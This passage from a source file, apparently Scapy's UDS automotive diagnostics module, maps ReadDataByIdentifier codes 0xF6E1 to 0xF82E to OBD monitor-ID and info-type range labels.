"OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ea] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6eb] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ec] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ed] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ee] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ef] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6fa] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6fb] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6fc] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6fd] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6fe] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ff] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf700] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf701] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf702] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf703] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf704] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf705] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf706] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf707] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf708] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf709] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf710] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf711] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf712] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf713] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf714] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf715] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf716] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf717] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf718] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf719] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf720] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf721] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf722] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf723] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf724] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf725] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf726] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf727] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf728] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf729] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf730] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf731] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf732] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf733] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf734] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf735] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf736] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf737] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf738] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf739] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf740] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf741] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf742] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf743] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf744] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf745] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf746] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf747] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf748] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf749] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf750] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf751] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf752] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf753] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf754] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf755] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf756] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf757] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf758] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf759] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf75f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf760] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf761] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf762] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf763] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf764] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf765] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf766] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf767] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf768] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf769] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf76f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf770] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf771] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf772] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf773] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf774] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf775] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf776] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf777] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf778] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf779] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf77f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf780] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf781] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf782] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf783] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf784] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf785] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf786] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf787] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf788] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf789] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf78f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf790] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf791] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf792] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf793] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf794] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf795] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf796] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf797] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf798] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf799] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf79f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7a9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7aa] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ab] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ac] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ad] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ae] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7af] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7b9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ba] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7bb] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7bc] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7bd] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7be] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7bf] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7c9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ca] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7cb] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7cc] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7cd] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ce] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7cf] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7d9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7da] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7db] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7dc] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7dd] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7de] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7df] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7e9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ea] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7eb] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ec] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ed] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ee] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ef] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f0] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f1] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f2] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f3] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f4] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f5] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f6] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f7] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f8] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7f9] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7fa] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7fb] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7fc] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7fd] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7fe] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf7ff] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf800] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf801] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf802] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf803] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf804] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf805] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf806] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf807] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf808] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf809] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf80f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf810] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf811] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf812] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf813] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf814] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf815] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf816] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf817] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf818] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf819] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf81f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf820] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf821] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf822] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf823] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf824] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf825] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf826] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf827] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf828] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf829] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf82e] = "OBDInfoTypes_F800_F8FF" 